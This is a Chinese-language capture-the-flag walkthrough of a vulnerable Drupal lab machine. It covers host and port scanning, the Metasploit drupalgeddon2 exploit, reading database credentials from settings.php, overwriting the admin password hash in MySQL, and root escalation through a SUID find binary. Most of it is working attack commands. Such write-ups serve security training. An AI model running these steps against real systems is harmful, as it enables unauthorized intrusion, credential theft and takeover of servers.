一:信息收集
1:主机发现
arp-scan -I eth0 10.4.7.0/24
kali的IP:10.4.7.128
靶机ip:10.4.7.150
2:端口扫描
nmap -T4 -sV -p- -A 10.4.7.150
3:信息收集
启动Metersploit:
msfconsole
用search 命令查找与Drupal 有关的漏洞:
search drupal
选取2018的进行测试,因为有远程代码执行漏洞:
use exploit/unix/webapp/drupal_drupalgeddon2
用 show options查看使用方法完善内容:
show options
我们需要用set命令设置一下rhost文件,也就是靶机地址
set rhosts 10.4.7.150
然后用exploit进行攻击 ,当你用metasploit(漏洞检测工具)成功的入侵一台Windows主机后,你会获得一个Meterpreter 的Shell。
然后我们浏览一下,这个靶机里有什么文件,利用ls命令
从中我们可以发现flag1.txt文件,那我们查看一下flag1.txt里面的内容:
cat flag1.txt
Flag1.txt中提示你要去找CMS中的一个配置文件。
打开靶机的一个shell,以靶机用户的身份使用靶机,使用 python -c "import pty;pty.spawn( '/bin/bash')" 开启交互模式,之后再利用ls浏览一下有什么可用的文件。
python -c "import pty;pty.spawn( '/bin/bash')"
然后我们利用find ./ -name "settings"命令查找CMS配置文件,看到有一个默认的配置文件。
find ./ -name "settings"
查看一下这个默认文件
cat ./sites/default/settings.php
看到了flag2文件,Flag2中提示我们暴力破解不可取并且需要提权。还有一个名为drupaldb的数据库,然后我们登录一下这个数据库,查看其中的内容。
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
mysql -udbuser -pR0ck3t
查看并打开数据库
show databases;
use drupaldb;
然后查看里面的表
show tables;
可以看到有一个users的表,估计就是存储网站注册用户的信息的表。
然后查看users表
select * from users;
admin $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
表中有用户名name,加密的用户密码pass。如果pass是明文,我们就可以直接登录了,但是显然不是,用户注册时使用的明文,存储在数据库时是密文,那后台一定使用了某种方法将明文经过一定的运算产生了密文,那我们也用这种方法产生一个我们知道的密码的密码,替换数据库中的密文,这样不就可以登录靶机网站了
某博主说密文产生的脚本是/scripts/password-hash.sh,我们来看一下,首先quit切出mysql
然后,ls浏览文件,发现scripts文件
然后我们使用这个脚本生成一个我们自己所取的密码,这里我起密码为:123456
切换到www目录下
php scripts/password-hash.sh 123456
$S$DJm5dBgi1hx04kuwsyY3V7ONFv15hD8hbivFGVUj4Hzd.NYb5xbn
登录数据库使用命令
update drupaldb.users set pass="$S$DJm5dBgi1hx04kuwsyY3V7ONFv15hD8hbivFGVUj4Hzd.NYb5xbn"where name="admin";
登录一下界面
但是在cmd5网站中查到了密码
admin
53cr3t
登录成功,然后在此界面当中发现flag3文件,现在我们再查看一下内容
flag3提示我们要使用find进行提权
二:提权
利用 find 命令从靶机里寻找一下有关flag的信息
find / -name "flag"
发现了flag4.txt文件和thefinalflag.txt文件
cat /home/flag4/flag4.txt
他还是想要我们进入靶机的root权限。
那我们按条件查找权限:
find / -perm -u=s -type f 2>/dev/null
-perm:按照权限查找
-type:查是块设备b、目录d、字符设备c、管道p、符号链接l、普通文件f
-u=s:拥有者是s权限
当中有一个/usr/bin/find文件,我们来查看一下此文件
ls -la /usr/bin/find
这个文件是有root权限的,且在这个权限下可读可写可执行。
那我们进行提权
-exec:对匹配的文件执行该参数所给出的shell命令。形式为command {} ;。
touch test
find test -exec whoami ;
find test -exec cat /root/thefinalflag.txt ;
靶机结束